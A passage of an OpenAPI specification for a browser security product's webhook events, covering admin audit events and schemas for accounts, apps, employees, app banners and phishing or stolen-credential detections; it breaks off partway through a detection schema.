                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set the mode to off
                object:
                  type: string
                  enum:
                    - STOLEN_CREDENTIALS_MODE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Stolen credentials mode updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that updated the mode.
                new:
                  type: object
                  properties:
                    mode:
                      type: string
                      description: The current mode for the Stolen credentials feature.
                  required:
                    - mode
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  strong-password-enforcement:
    post:
      summary: Strong password enforcement event
      operationId: strong-password-enforcement-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A strong password enforcement event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    john@company.com was requested to use a strong password on
                    GitHub
                object:
                  type: string
                  enum:
                    - STRONG_PASSWORD_ENFORCEMENT
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Strong password enforcement
                new:
                  $ref: '#/components/schemas/StrongPasswordEnforcementEvent'
                  description: Strong password enforcement event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Strong Password Enforcement
  unsupported-app-support-requested:
    post:
      summary: Unsupported app support requested
      description: Support for an unsupported app has been requested.
      operationId: unsupported-app-support-requested-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Support was requested for domain.com
                object:
                  type: string
                  enum:
                    - UNSUPPORTED_APP_SUPPORT_REQUESTED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Unsupported app support requested
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    domain:
                      type: string
                      description: The domain of the app for which support was requested.
                      example: domain.com
                  required:
                    - domain
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  unsupported-app-support-request-cancelled:
    post:
      summary: Unsupported app support request cancelled
      description: Support request for an unsupported app has been cancelled.
      operationId: unsupported-app-support-request-cancelled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Support request was cancelled for domain.com
                object:
                  type: string
                  enum:
                    - UNSUPPORTED_APP_SUPPORT_REQUEST_CANCELLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Unsupported app support request cancelled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    domain:
                      type: string
                      description: >-
                        The domain of the app for which a support request was
                        cancelled.
                      example: domain.com
                  required:
                    - domain
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  url-block-page-updated:
    post:
      summary: URL block page updated
      description: >-
        An admin user updated the contents of the page shown when access to a
        URL is blocked by the URL blocking control.
      operationId: url-block-page-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the message to employees
                object:
                  type: string
                  enum:
                    - URL_BLOCK_PAGE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: URL block page updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    title:
                      type: string
                      description: The title of the block page.
                    subtext:
                      type: string
                      description: The subtext of the block page.
                  required:
                    - title
                    - subtext
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  weak-password-custom-words-added:
    post:
      summary: Weak password custom words added
      description: An admin user has added custom words to the weak password check.
      operationId: weak-password-custom-words-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added custom words to weak password checks
                object:
                  type: string
                  enum:
                    - WEAK_PASSWORD_CUSTOM_WORDS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Weak password custom words added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    customWords:
                      type: array
                      items:
                        type: string
                      description: Custom words added to the weak password check.
                      example:
                        - pushsecurity
                        - password
                  required:
                    - customWords
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  weak-password-custom-words-removed:
    post:
      summary: Weak password custom words removed
      description: An admin user has removed custom words from the weak password check.
      operationId: weak-password-custom-words-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com removed custom words from weak password
                    checks
                object:
                  type: string
                  enum:
                    - WEAK_PASSWORD_CUSTOM_WORDS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Weak password custom words removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    customWords:
                      type: array
                      items:
                        type: string
                      description: Custom words removed from the weak password check.
                      example:
                        - pushsecurity
                        - password
                  required:
                    - customWords
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  webhook-added:
    post:
      summary: Webhook added
      description: An admin user has configured a new webhook URL.
      operationId: webhook-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added a new webhook
                object:
                  type: string
                  enum:
                    - WEBHOOK_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Webhook added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    url:
                      type: string
                      description: The configured URL.
                      nullable: true
                    types:
                      type: array
                      items:
                        type: string
                      description: >-
                        Filter webhook events by these types. An empty array
                        represents all types.
                      example:
                        - API_KEY_ADDED
                        - CONTROL_RULE_UPDATED
                    categories:
                      type: array
                      items:
                        type: string
                      description: >-
                        Filter webhook events by these categories. An empty
                        array represents all categories.
                      example:
                        - AUDIT
                        - CONTROL
                    webhookType:
                      type: string
                      description: The type of webhook.
                      example: CUSTOM
                  required:
                    - url
                    - types
                    - categories
                    - webhookType
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  webhook-removed:
    post:
      summary: Webhook removed
      description: An admin user has removed a webhook URL.
      operationId: webhook-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed an existing webhook
                object:
                  type: string
                  enum:
                    - WEBHOOK_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Webhook removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    url:
                      type: string
                      description: The configured URL before removal.
                      nullable: true
                    types:
                      type: array
                      items:
                        type: string
                      description: >-
                        Filter webhook events by these types. An empty array
                        represents all types.
                      example:
                        - API_KEY_ADDED
                        - CONTROL_RULE_UPDATED
                    categories:
                      type: array
                      items:
                        type: string
                      description: >-
                        Filter webhook events by these categories. An empty
                        array represents all categories.
                      example:
                        - AUDIT
                        - CONTROL
                    webhookType:
                      type: string
                      description: The type of webhook.
                      example: CUSTOM
                  required:
                    - url
                    - types
                    - categories
                    - webhookType
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
components:
  securitySchemes:
    X-Signature:
      type: http
      scheme: bearer
      description: Signature verification
  schemas:
    MfaMethodsType:
      title: MfaMethodsType
      type: string
      enum:
        - APP_TOTP
        - PUSH_NOTIFICATION
        - EMAIL_OTP
        - U2F
        - HARDWARE_TOTP
        - PHONE_CALL
        - SMS_OTP
        - APP_PASSWORD
        - GRID_CARD
        - EXTERNAL_PROVIDER
        - BACKUP_CODES
        - WEBAUTHN
      x-enumDescriptions:
        APP_TOTP: Time-based one-time password via app
        PUSH_NOTIFICATION: Authentication prompt on device
        EMAIL_OTP: One-time password sent to email
        U2F: Physical security key
        HARDWARE_TOTP: Time-based password via hardware token
        PHONE_CALL: Voice verification
        SMS_OTP: One-time password sent via SMS
        APP_PASSWORD: Specialized password for app access
        GRID_CARD: Reference card with codes
        EXTERNAL_PROVIDER: Third-party authentication service
        BACKUP_CODES: Pre-generated one-time codes
        WEBAUTHN: Two-factor authentication with biometrics support
      description: All possible ENUM values for MfaMethods
    AccountEvent:
      title: Account
      type: object
      description: This object represents an account in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the account
          example: d6a32ba5-0532-4a66-8137-48cdf409c972
        employeeId:
          type: string
          description: Identifier of primary employee that this account belongs to
          example: 72d0347a-2663-4ef5-b1c5-df39163f1603
        appType:
          type: string
          description: The app associated with this account
          example: ATLASSIAN
        appId:
          type: string
          description: The ID of the app associated with this account
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        email:
          type: string
          description: The email address used to log into the account
          format: email
          example: john.hill@example.com
        mfaRegistered:
          type: boolean
          description: Whether MFA is registered or not. If unknown, `null` is provided.
          nullable: true
          example: true
        mfaMethods:
          type: array
          items:
            $ref: '#/components/schemas/MfaMethodsType'
          description: The MFA methods registered for this account
          nullable: true
        passwordId:
          type: string
          description: >-
            Identifier of the password used on this account. The actual password
            is not sent up by the browser extension and so this is an identifier
            for it instead. This value is `null` if password authentication is
            not used.
          nullable: true
          example: 4c13674f-e88a-4411-bfa2-53a70468a898
        loginMethods:
          type: object
          properties:
            passwordLogin:
              type: boolean
              description: Whether or not this account has been logged into with a password
              example: true
            oidcLogin:
              type: string
              description: >-
                The identity provider that was used to do an OIDC login on this
                account. This is `null` if no OIDC login has been performed.
              nullable: true
              example: GOOGLE_WORKSPACE
            samlLogin:
              type: string
              description: >-
                The identity provider that was used to do a SAML login on this
                account. This is `null` if no SAML login has been performed.
              nullable: true
              example: OKTA
            oktaSwaLogin:
              type: boolean
              description: Whether or not this account has been logged into with Okta SWA
              example: true
            vendorSsoLogin:
              type: string
              description: >-
                Whether or not this account has an associated vendor SSO
                provider.
              nullable: true
              example: GOOGLE_WORKSPACE
            fedCmLogin:
              type: string
              description: >-
                The identity provider that was used to do a FedCM login on this
                account. This is `null` if no FedCM login has been performed.
              nullable: true
              example: GOOGLE_WORKSPACE
        creationTimestamp:
          type: integer
          description: >-
            When this account was created, formatted as a UNIX timestamp (in
            seconds)
          example: 1698064423
        lastUsedTimestamp:
          type: integer
          nullable: true
          description: >-
            When the account was last used by an employee, formatted as a UNIX
            timestamp (in seconds)
          example: 1698669168
    AdminAuditLogActor:
      title: Admin Audit Log Actor
      type: object
      description: >-
        This object contains information about the user that performed the
        action triggering the audit log.
      properties:
        source:
          type: string
          enum:
            - UI
          description: The source of the action that generated the event.
        email:
          type: string
          description: The email address of the actor.
        sourceIpAddress:
          type: string
          description: The IP address of the actor.
        userAgent:
          type: string
          nullable: true
          description: The user agent of the actor, if available.
        role:
          type: string
          nullable: true
          enum:
            - FULL_ACCESS
            - READ_ONLY
          description: The role of the actor.
      required:
        - source
        - email
        - sourceIpAddress
        - userAgent
        - role
    AdminAuditLogActorAPI:
      title: Admin Audit Log Actor API
      type: object
      description: >-
        This object contains details about the API Key used in the API request
        that triggered the audit log.
      properties:
        source:
          type: string
          enum:
            - API
          description: The source of the action that generated the event.
        apiKeyName:
          type: string
          description: The name given to the API Key at creation time.
        apiKeyCreatedBy:
          type: string
          description: The email address of the admin user that created the API Key.
        sourceIpAddress:
          type: string
          description: The IP address of the actor.
        userAgent:
          type: string
          nullable: true
          description: The user agent of the actor, if available.
      required:
        - source
        - apiKeyName
        - apiKeyCreatedBy
        - sourceIpAddress
        - userAgent
    AccountOther:
      title: Account (other)
      type: object
      description: This object represents an account (other) in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the account
          example: 1009e8cb-497b-49ae-ac87-e083e42078d2
        employeeId:
          type: string
          description: Identifier of primary employee that this account belongs to
          example: 72d0347a-2663-4ef5-b1c5-df39163f1603
        otherAppId:
          type: string
          description: The ID of the app associated with this account
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        email:
          type: string
          description: The email address used to log into the account
          format: email
          example: john.hill@example.com
        loginMethods:
          type: object
          required:
            - passwordLogin
            - oidcLogin
            - samlLogin
            - fedCmLogin
          properties:
            passwordLogin:
              type: boolean
              description: Whether or not this account has been logged into with a password
              example: true
            oidcLogin:
              type: string
              description: >-
                The identity provider that was used to do an OIDC login on this
                account. This is `null` if no OIDC login has been performed.
              nullable: true
              example: GOOGLE_WORKSPACE
            samlLogin:
              type: string
              description: >-
                The identity provider that was used to do a SAML login on this
                account. This is `null` if no SAML login has been performed.
              nullable: true
              example: OKTA
            fedCmLogin:
              type: string
              description: >-
                The identity provider that was used to do a FedCM login on this
                account. This is `null` if no FedCM login has been performed.
              nullable: true
              example: GOOGLE_WORKSPACE
        creationTimestamp:
          type: integer
          description: >-
            When the account was first observed, formatted as a UNIX timestamp
            (in seconds)
          example: 1698064423
        lastUsedTimestamp:
          type: integer
          nullable: true
          description: >-
            When the account was last used by an employee, formatted as a UNIX
            timestamp (in seconds)
          example: 1698669168
    RoleType:
      title: RoleType
      enum:
        - FULL_ACCESS
        - READ_ONLY
      description: The role assigned.
      type: string
    ApprovalStatusType:
      title: ApprovalStatusType
      type: string
      enum:
        - UNDER_REVIEW
        - APPROVED
        - NOT_APPROVED
      x-enumDescriptions:
        UNDER_REVIEW: The app is under review
        APPROVED: The app has been approved
        NOT_APPROVED: The app has not been approved
      description: Approval status of the app, `null` if not set
      nullable: true
    SensitivityLevelType:
      title: SensitivityLevelType
      type: string
      enum:
        - HIGH
        - MEDIUM
        - LOW
      x-enumDescriptions:
        HIGH: The sensitivity of the app is high
        MEDIUM: The sensitivity of the app is medium
        LOW: The sensitivity of the app is low
      description: The sensitivity level of the app, `null` if not set
      nullable: true
    AppEvent:
      title: App
      type: object
      description: This object represents an app in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for this object
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        type:
          type: string
          description: The type of app, formatted as an ENUM value.
          example: ZAPIER
        approvalStatus:
          $ref: '#/components/schemas/ApprovalStatusType'
        sensitivityLevel:
          $ref: '#/components/schemas/SensitivityLevelType'
        ownerId:
          type: string
          description: Identifier of the employee who is the owner of this platform
          example: 87569da6-fb7a-4df7-8ce2-246c14044911
          nullable: true
        notes:
          type: string
          description: >-
            Notes recorded on this app (Note - changes to this field do not
            trigger an UPDATE event)
          example: |
            Last security audit: 16 January 2023.
        creationTimestamp:
          type: integer
          description: >-
            When the app was first observed, formatted as a UNIX timestamp (in
            seconds)
          example: 1698064423
    EmployeeInEvent:
      title: Employee
      type: object
      description: This object represents an employee in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for the employee
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        email:
          type: string
          description: Primary email address of the employee
          format: email
          example: john.hill@example.com
        firstName:
          type: string
          description: First name of the employee
          example: John
        lastName:
          type: string
          description: Last name of the employee
          example: Hill
        department:
          type: string
          description: Department - as provided by connected API integrations
          example: Security Engineering
        location:
          type: string
          description: Location - as provided by connected API integrations
          example: New York
        licensed:
          type: boolean
          description: Whether the employee is licensed on the Push platform
          example: true
        chatopsEnabled:
          type: boolean
          description: >-
            Whether the employee has ChatOps enabled<blockquote>Deprecation
            notice: this value no longer does anything unless you still have
            access to the legacy Employee chat topics functionality on your
            account. It will be removed in the next API version.</blockquote>
          example: true
          deprecated: true
        creationTimestamp:
          type: integer
          description: >-
            When this employee was created, formatted as a UNIX timestamp (in
            seconds)
          example: 1698669223
    AppBannerModeType:
      title: AppBannerModeType
      type: string
      enum:
        - INFORM
        - ACKNOWLEDGE
        - REASON
        - BLOCK
      description: All possible ENUM values for app banner modes
    AppBannerDisplayFrequencyType:
      title: AppBannerDisplayFrequencyType
      type: string
      enum:
        - ONCE_PER_TAB
        - ONCE_PER_BROWSER
      description: All possible ENUM values for how frequently the app banner is displayed.
      nullable: true
    AppBanner:
      title: App Banner
      type: object
      description: This object represents an app banner.
      properties:
        title:
          type: string
          description: Title of the app banner.
          example: This is a title
        subtext:
          type: string
          description: Subtext of the app banner.
          example: >-
            This is the subtext that supports limited
            [markdown](https://markdown.org)
        mode:
          $ref: '#/components/schemas/AppBannerModeType'
        buttonText:
          type: string
          description: >-
            Button text of the app banner. Only applicable when the app banner
            is in `ACKNOWLEDGE` or `REASON` mode, or is in `BLOCK` mode with
            `allowReasonSubmission` set to true.
          example: Proceed anyway
          nullable: true
        allowReasonSubmission:
          type: boolean
          description: >-
            Whether the user is allowed to submit a request to access a blocked
            page. Only applicable when the app banner is in `BLOCK` mode.
          example: false
          nullable: true
        displayFrequency:
          $ref: '#/components/schemas/AppBannerDisplayFrequencyType'
    AppBannerActionType:
      title: AppBannerActionType
      type: string
      enum:
        - ACKNOWLEDGED
        - DISPLAYED
        - SUBMITTED_REASON
      description: All possible ENUM values for app banner actions
    BrowserType:
      title: BrowserType
      enum:
        - CHROME
        - FIREFOX
        - EDGE
        - SAFARI
        - OPERA
        - BRAVE
        - ARC
        - ISLAND
        - PRISMA_ACCESS
        - UNKNOWN
      description: The browser used by the employee
    OSType:
      title: OSType
      enum:
        - MACOS
        - WINDOWS
        - LINUX
        - CHROME_OS
        - IOS
        - ANDROID
        - UNKNOWN
      description: The OS used by the employee
    AppBannerEvent:
      title: App banner
      type: object
      description: >-
        This object represents an app banner event, indicating an employee has
        interacted with an app banner.
      properties:
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        url:
          type: string
          description: >-
            The URL that the banner was shown on. This is `null` if an app rule
            was used.
          example: https://openai.com
          nullable: true
        appType:
          type: string
          description: >-
            The app that the banner was configured on. This is `null` if a URL
            pattern rule was used.
          example: OPENAI
          nullable: true
        appBanner:
          $ref: '#/components/schemas/AppBanner'
        action:
          $ref: '#/components/schemas/AppBannerActionType'
        reason:
          type: string
          description: >-
            Reason provided by the employee for bypassing or requesting access
            to the app. Applicable when the action is `SUBMITTED_REASON`.
          example: I need to access this app for my work.
          nullable: true
        sourceIpAddress:
          type: string
          description: The IP address of the user interacting with the app banner.
          example: 8.158.25.38
        browser:
          $ref: '#/components/schemas/BrowserType'
        os:
          $ref: '#/components/schemas/OSType'
        userAgent:
          type: string
          description: The user agent string reported by the browser
          example: >-
            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
            like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
    AppOther:
      title: App (Other)
      type: object
      description: This object represents an app (other) in your organization.
      properties:
        id:
          type: string
          description: Unique identifier for this object
          example: 35603905-ff98-4b7d-8940-eb1906a2bdf6
        domain:
          type: string
          description: >-
            Domain the user logged into. This value is null if a OIDC login is
            used
          example: app.pushsecurity.com
          nullable: true
        oauthAppId:
          type: string
          description: >-
            ID of the oauth app from the Identity Provider. This value is null
            if a password login is used.
          example: '1234567890'
          nullable: true
        name:
          type: string
          description: Name of the app. This value is null if a password login is used.
          example: Push Security
          nullable: true
        hidden:
          type: boolean
          description: Whether the app is hidden or not.
        requestSupportStatus:
          type: string
          description: Current request support status of the app
          example: DISCOVERED
        creationTimestamp:
          type: integer
          description: >-
            When the app was first observed, formatted as a UNIX timestamp (in
            seconds)
          example: 1698064423
    SeverityType:
      title: SeverityType
      enum:
        - LOW
        - MEDIUM
        - HIGH
        - CRITICAL
      description: The severity of the detection
    DetectionType:
      title: DetectionType
      enum:
        - PHISHING
        - STOLEN_CREDENTIALS
        - BLOCKED_URL
        - MALWARE_DELIVERY
      description: The type of detection
    ResponseTypeDetection:
      title: ResponseType
      enum:
        - BLOCKED
        - EMPLOYEE_IGNORED_WARNING
        - EMPLOYEE_WARNED
        - NOT_BLOCKED
      description: The response for the detection
    DetectionEventType:
      title: DetectionEventType
      enum:
        - PHISHING_TOOL_DETECTED
        - CLONED_LOGIN_PAGE_DETECTED
        - SSO_PASSWORD_USED
        - PROTECTED_PASSWORD_ENTERED
        - STOLEN_CREDENTIALS
        - BLOCKED_URL_VISITED
        - MALICIOUS_COPY_PASTE_DETECTED
      description: The type of detection event.
    ControlModeType:
      title: ControlModeType
      type: string
      nullable: true
      enum:
        - INFORM
        - ACKNOWLEDGE
        - REASON
        - BLOCK
        - WARN
        - MONITOR
      description: All possible ENUM values for control modes.
    ResponseTypeDetectionEvent:
      title: ResponseType
      enum:
        - BLOCKED
        - EMPLOYEE_IGNORED_WARNING
        - EMPLOYEE_WARNED
        - NOT_BLOCKED
      description: The response for the detection event.
    DetectionChildEvent:
      title: DetectionChildEvent
      type: object
      description: This object represents an event that is associated with a detection.
      properties:
        id:
          type: string
          description: Identifier of the detection event.
          example: c478966c-f927-411c-b919-179832d3d50c
        creationTimestamp:
          type: integer
          description: >-
            When the event was created. Formatted as a UNIX timestamp (in
            seconds).
          example: 1698604061
        detectionEventType:
          $ref: '#/components/schemas/DetectionEventType'
        accountId:
          type: string
          description: >-
            Identifier of the account that the detection event is associated
            with.
          example: 37cda962-7e78-49bc-8721-1becd16276a3
          nullable: true
        appType:
          type: string
          description: The type of app that the detection event is associated with.
          example: PUSH_SECURITY
          nullable: true
        phishingToolIndicator:
          type: string
          example: AITM_TOOL_EVILGINX_01
          nullable: true
        controlMode:
          $ref: '#/components/schemas/ControlModeType'
          nullable: true
        description:
          type: string
          description: >-
            The description of the detection event. Note: this is subject to
            change and should not be used to match on this object.
          example: Phishing attempt detected
          nullable: true
        clonedLoginPageIndicator:
          type: string
          example: MICROSOFT_01
          nullable: true
        response:
          $ref: '#/components/schemas/ResponseTypeDetectionEvent'
        email:
          type: string
          description: >-
            The email associated with the account related to the detection
            event.
          example: john.hill@example.com
          nullable: true
        url:
          type: string
          description: The URL that the detection event was triggered on.
          example: https://example.com/phishing
          nullable: true
        referrerUrl:
          type: string
          description: The referrer URL.
          example: https://mail.google.com
          nullable: true
        clonedLoginPageUrls:
          type: array
          items:
            type: string
          description: The legitimate login page URL that was cloned.
          example:
            - https://example.com/phishing
          nullable: true
        sourceIpAddress:
          type: string
          description: The source IP address.
          example: 8.158.25.38
        metadata:
          type: string
          description: The metadata associated with the detection event.
          example: >-
            {"source_type": "Telegram", "breach_type": "Stealer Malware Logs",
            "breach_publication_date": "2025-04-01"}
        experimental:
          type: boolean
          description: Indicates if this detection event is experimental.
          example: false
    DetectionEvent:
      title: Detection
      type: object
      description: >-
        This object represents a detection event, indicating an employee has
        triggered an alert.
      properties:
        id:
          type: string
          description: Identifier of the detection
          example: c478966c-f927-411c-b919-179832d3d50c
        employeeId:
          type: string
          description: Identifier for the employee that triggered the event.
          example: 37cda962-7e78-49bc-8721-1becd16276a3
        employee:
          $ref: '#/components/schemas/EmployeeInEvent'
        browserId:
          type: string
          description: >-
            Identifier of the browser that was used when the event was
            triggered.
          example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
        severity:
          $ref: '#/components/schemas/SeverityType'
        detectionType:
          $ref: '#/components/schemas/DetectionType'
        detectionLink:
          type: string
          format: uri
          description: Link to the detection.
          example: >-
